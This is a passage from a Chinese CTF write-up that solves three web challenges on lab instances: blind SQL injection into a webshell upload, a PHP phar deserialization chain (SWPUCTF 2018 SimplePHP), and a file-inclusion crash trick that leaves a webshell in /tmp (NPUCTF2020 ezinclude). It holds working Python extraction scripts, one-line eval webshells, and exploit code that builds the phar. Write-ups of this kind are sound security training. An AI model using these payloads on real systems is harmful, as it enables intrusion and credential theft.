这时id
的值是' or path=
,后面那个单引号注释掉就行。
/image.php?id=\\0&path=or 1=1 %23
/image.php?id=\\0&path=or 1=0 %23
布尔盲注,先看看要怎么区分这两个页面(其实就是id=1和id=0):
id=1
id=0
通过JF
区分就行:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import requests url = "http://3c0a9f91-d286-48a3-9bac-5dc484fbca9a.node4.buuoj.cn:81/image.php" result = '' for i in range (0 , 30 ): right = 127 left = 32 mid = (right + left)//2 while right > left: payload = " or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1))>%d,1,0)#" % (i, mid) params = { 'id' : '\\0' , 'path' : payload } response = requests.get(url, params=params) if "JF" in response.text: left = mid + 1 else : right = mid mid = (right + left)//2 result += chr (mid) print (result)
images,users
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import requests url = "http://3c0a9f91-d286-48a3-9bac-5dc484fbca9a.node4.buuoj.cn:81/image.php" result = '' for i in range (0 , 30 ): right = 127 left = 32 mid = (right + left)//2 while right > left: payload = " or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database()),%d,1))>%d,1,0)#" % (i, mid) params = { 'id' : '\\0' , 'path' : payload } response = requests.get(url, params=params) if "JFIF" in response.text: left = mid + 1 else : right = mid mid = (right + left)//2 result += chr (mid) print (result)
id,path,username,password
注意这里不能直接’users’因为单引号被过滤了,要么直接爆库里的所有列名,要么和其它师傅一样把'users'
这个字符串转换成十六进制。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import requests url = "http://3c0a9f91-d286-48a3-9bac-5dc484fbca9a.node4.buuoj.cn:81/image.php" result = '' for i in range (0 , 30 ): right = 127 left = 32 mid = (right + left)//2 while right > left: payload = " or if(ascii(substr((select group_concat(username,password) from (users)),%d,1))>%d,1,0)#" % (i, mid) params = { 'id' : '\\0' , 'path' : payload } response = requests.get(url, params=params) if "JFIF" in response.text: left = mid + 1 else : right = mid mid = (right + left)//2 result += chr (mid) print (result)
admin 8ef403207a4691e2271b
登录:
直接上传php
后缀的报错了,试试其它后缀发现phtml
的可以:
访问log/upload.19b6649eefbd2ed612b5e53d34e1a1c8.log.php
可以看到他只是单纯把文件名存到这个日志文件里了,真正上传到哪去了我也没找到。。
不过这个日志文件的后缀是.php
,是不是可以直接上传一个文件名是一句话木马,然后没后缀的文件?
前面知道php
这东西大小写都被过滤了,不过一句话还有其它写法,比如:
<?=@eval($_POST['a']);?>
传完了直接访问就行,不过不知道怎么回事我这个页面并没有我上传这个东西的文件名?但命令可以正常执行
POSTa=system('cat /flag');
就行
[SWPUCTF 2018]SimplePHP
唉,好像又是文件上传
源码中存在提示:<!--flag is in f1ag.php-->
同时注意到file.php?file=
这东西,想着用伪协议读读源码啥的发现读不了。。直接输进去反而有回显:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 <?php header ("content-type:text/html;charset=utf-8" ); include 'base.php' ;?> <?php echo $_SERVER ['REMOTE_ADDR' ];?> <?php header ("content-type:text/html;charset=utf-8" ); include 'function.php' ; include 'class.php' ; ini_set ('open_basedir' ,'/var/www/html/' ); $file = $_GET ["file" ] ? $_GET ['file' ] : "" ; if (empty ($file )) { echo "<h2>There is no file to show!<h2/>" ; } $show = new Show (); if (file_exists ($file )) { $show ->source = $file ; $show ->_show (); } else if (!empty ($file )){ die ('file doesn\'t exists.' ); } ?> <?php include 'function.php' ; upload_file (); ?> <?php include "base.php" ; header ("Content-type: text/html;charset=utf-8" ); error_reporting (0 ); function upload_file_do ( ) { global $_FILES ; $filename = md5 ($_FILES ["file" ]["name" ].$_SERVER ["REMOTE_ADDR" ]).".jpg" ; if (file_exists ("upload/" . $filename )) { unlink ($filename ); } move_uploaded_file ($_FILES ["file" ]["tmp_name" ],"upload/" . $filename ); echo '<script type="text/javascript">alert("上传成功!");</script>' ; } function upload_file ( ) { global $_FILES ; if (upload_file_check ()) { upload_file_do (); } } function upload_file_check ( ) { global $_FILES ; $allowed_types = array ("gif" ,"jpeg" ,"jpg" ,"png" ); $temp = explode ("." ,$_FILES ["file" ]["name" ]); $extension = end ($temp ); if (empty ($extension )) { } else { if (in_array ($extension ,$allowed_types )) { return true ; } else { echo '<script type="text/javascript">alert("Invalid file!");</script>' ; return false ; } } } ?> <?php class C1e4r { public $test ; public $str ; public function __construct ($name ) { $this ->str = $name ; } public function __destruct ( ) { $this ->test = $this ->str; echo $this ->test; } }class Show { public $source ; public $str ; public function __construct ($file ) { $this ->source = $file ; echo $this ->source; } public function __toString ( ) { $content = $this ->str['str' ]->source; return $content ; } public function __set ($key ,$value ) { $this ->$key = $value ; } public function _show ( ) { if (preg_match ('/http|https|file:|gopher|dict|\.\.|f1ag/i' ,$this ->source)) { die ('hacker!' ); } else { highlight_file ($this ->source); } } public function __wakeup ( ) { if (preg_match ("/http|https|file:|gopher|dict|\.\./i" , $this ->source)) { echo "hacker~" ; $this ->source = "index.php" ; } } }class Test { public $file ; public $params ; public function __construct ( ) { $this ->params = array (); } public function __get ($key ) { return $this ->get ($key ); } public function get ($key ) { if (isset ($this ->params[$key ])) { $value = $this ->params[$key ]; } else { $value = "index.php" ; } return $this ->file_get ($value ); } public function file_get ($value ) { $text = base64_encode (file_get_contents ($value )); return $text ; } }?>
注意这段代码和注释//$this->source = phar://phar.jpg
:
1 2 3 4 5 6 7 $show = new Show (); if (file_exists ($file )) { $show ->source = $file ; $show ->_show (); } else if (!empty ($file )){ die ('file doesn\'t exists.' ); }
注意file.php
下有这么个东西:
ini_set('open_basedir','/var/www/html/');
结合注释f1ag.php
目标文件/var/www/html/f1ag.php
phar
反序列化,先写链子:
提示flag
在f1ag.php
中,C1e4r
下存在__destruct
,以这东西为起点调用Show
下的__toString
。
1 2 3 4 5 6 $a = new C1e4r ();$b = new Show ();$c = new Test ();$a -> str = $b ;$b ->str['str' ]=$c ;$c -> params = Array ("source" =>"/var/www/html/f1ag.php" );
生成phar
文件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 <?php class C1e4r { public $test ; public $str ; }class Show { public $source ; public $str ; }class Test { public $file ; public $params ; }$a = new C1e4r ();$b = new Show ();$c = new Test ();$a -> str = $b ;$b ->str['str' ]=$c ;$c -> params = Array ("source" =>"/var/www/html/f1ag.php" );$phar =new Phar ("pharwhat.phar" ); $phar ->startBuffering ();$phar ->setStub ("__HALT_COMPILER(); ?>" );$phar ->setMetadata ($a ); $phar ->addFromString ("test.txt" , "test" );$phar ->stopBuffering ();?>
生成pharwhat.phar
,然后修改下后缀:"gif","jpeg","jpg","png"
挑一个就行。
注意:
1 2 3 4 5 6 7 8 function upload_file_do ( ) { global $_FILES ; $filename = md5 ($_FILES ["file" ]["name" ].$_SERVER ["REMOTE_ADDR" ]).".jpg" ; if (file_exists ("upload/" . $filename )) { unlink ($filename ); } move_uploaded_file ($_FILES ["file" ]["tmp_name" ],"upload/" . $filename );
如果我们上传pharwhat.jpg
,那么最终上传路径是:
upload/92f5bc75f24c46a61e46ab7b46dcb42d.jpg
然后base64解码就行:
后面看其它师傅们的wp
时发现在生成phar
文件时可以这么写:
$phar->setStub("GIF89A<?php XXX __HALT_COMPILER(); ?>");
其实就是加了个GIF89A
欺骗头,这道题不加也能拿结果(因为并没有检测文件内容)。生成的文件内容是:
看样子以后还是加上欺骗头好一些,不加白不加。。
[NPUCTF2020]ezinclude
看源码:
1 2 3 username/password error<html > </html >
抓包:
注意Cookie
里给了哈希值,想着这东西会不会要求$pass
变量强等于它?不过pass
怎么 传也没说,就用GET
方法传着试了试:
访问flflflflag.php
我这个环境不知道怎么回事一直回显404
。。只能在bp
上看了:
1 2 3 4 5 6 7 8 9 10 11 <html > <head > <script language ="javascript" type ="text/javascript" > window .location .href ="404.html" ; </script > <title > this_is_not_fl4g_and_出题人_wants_girlfriend</title > </head > <> <body > include($_GET["file"])</body > </html >
文件包含,不过要包含啥也没提示,想着写个一句话进去:
data://text/plain,%3C?php%20@eval($_POST[%27viper%27]);?%3E
data
,input
这种能执行命令的协议都被过滤了,不过filter
还能用,尝试读下flflflflag.php
源码
/flflflflag.php?file=php://filter/convert.base64-encode/resource=flflflflag.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <html > <head > <script language ="javascript" type ="text/javascript" > window .location .href ="404.html" ; </script > <title > this_is_not_fl4g_and_出题人_wants_girlfriend</title > </head > <> <body > <?php $file=$_GET['file']; if(preg_match('/data|input|zip/is',$file)){//is表示忽略大小写加单行匹配 die('nonono'); } @include($file); echo 'include($_GET["file"])'; ?> </body > </html >
后面看了wp
,用御剑还能扫出来dir.php
这么个东西,利用伪协议读他的源码:
参考https://www.shawroot.cc/1159.html
1 2 3 4 5 6 <?php var_dump (scandir ('/tmp' ));?>
php7.0的bug:
?file=php://filter/string.strip_tags/resource=/etc/passwd
使用php://filter/string.strip_tags导致php崩溃清空堆栈重启,如果在同时上传了一个文件,那么这个tmp file就会一直留在tmp目录。该方法仅适用于以下php7版本,php5并不存在该崩溃。
1 2 3 4 5 • php7.0.0-7 .1 .2 可以利用, 7 .1 .2 x版本的已被修复 • php7.1.3-7 .2 .1 可以利用, 7 .2 .1 x版本的已被修复 • php7.2.2-7 .2 .8 可以利用, 7 .2 .9 一直到7 .3 到现在的版本已被修复
1 2 3 4 5 6 7 8 9 10 11 import requests as res url="http://5efafd4f-4bae-4237-b3b6-5a8e41058c3c.node3.buuoj.cn/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd" phpfile="<?php @eval($_POST['cmd']); ?>" filedata={ "file" :phpfile } bak=res.post(url=url,files=filedata)print (bak.text)
回显:
接下来就要用到刚才的dir.php
了,因为我们上传的一句话被存到tmp
目录(文件名我们并不知道,这东西是个临时文件),访问dir.php
就能获得文件名phpgkdwwM
:
蚁剑连接(这里文件名换了是因为环境重开了一次,注意没必要在后面加php
后缀)
不过奇怪的是啥都没有。。:
后面想着用蚁剑的插件:
又去看了wp。。。flag
在phpinfo
里。。